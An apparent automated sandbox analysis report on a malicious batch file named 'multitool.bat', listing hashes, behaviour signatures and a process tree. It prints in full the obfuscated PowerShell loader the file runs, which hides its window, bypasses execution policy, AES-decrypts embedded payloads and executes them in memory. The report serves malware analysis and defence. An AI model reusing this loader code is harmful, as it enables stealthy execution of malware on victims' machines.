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Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    18/11/2024, 00:12

General

  • Target

    multitool.bat

  • Size

    298KB

  • MD5

    18c5a8b94eb5c19cdd965fc9d4686a02

  • SHA1

    ee67546afe31bcf09dc426955af03594cee62c0a

  • SHA256

    8f6e309171ab8b968764573f9a0252d70b793d36d6fccf1d7eb3fce7763cb74a

  • SHA512

    8b8e0bb6b8b7f9ff1ff75ead07f999b7bbba7fe787d2b731685cd539c76fef1dcf2461fc6be2be49660e352de051003266bb7f664d4d41bf8a2dff120543f1ec

  • SSDEEP

    6144:mxdIea9oQDm/ParmLX7WrxDShuILbormGyOVYKBOc97:mxQNDm3ar6XqrxQHsr/xHBT

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\multitool.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1716
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KBJDaMkDdd/LxYfLWK+RbSkMlTUv9paU/GK4TKxeeEY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1ld09wShPLv4usAwXhH2Uw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DMVZH=New-Object System.IO.MemoryStream(,$param_var); $yMzsP=New-Object System.IO.MemoryStream; $XKOrm=New-Object System.IO.Compression.GZipStream($DMVZH, [IO.Compression.CompressionMode]::Decompress); $XKOrm.CopyTo($yMzsP); $XKOrm.Dispose(); $DMVZH.Dispose(); $yMzsP.Dispose(); $yMzsP.ToArray();}function execute_function($param_var,$param2_var){ $hlsRs=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZDZIA=$hlsRs.EntryPoint; $ZDZIA.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\multitool.bat';$djbrx=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\multitool.bat').Split([Environment]::NewLine);foreach ($UOgVo in $djbrx) { if ($UOgVo.StartsWith(':: ')) { $IGItJ=$UOgVo.Substring(3); break; }}$payloads_var=[string[]]$IGItJ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2256

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2256-4-0x000007FEF58EE000-0x000007FEF58EF000-memory.dmp

    Filesize

    4KB

  • memory/2256-5-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

    Filesize

    2.9MB

  • memory/2256-7-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

    Filesize

    9.6MB

  • memory/2256-9-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

    Filesize

    9.6MB

  • memory/2256-8-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

    Filesize

    9.6MB

  • memory/2256-6-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

    Filesize

    32KB

  • memory/2256-10-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

    Filesize

    9.6MB

  • memory/2256-11-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

    Filesize

    9.6MB

  • memory/2256-12-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

    Filesize

    9.6MB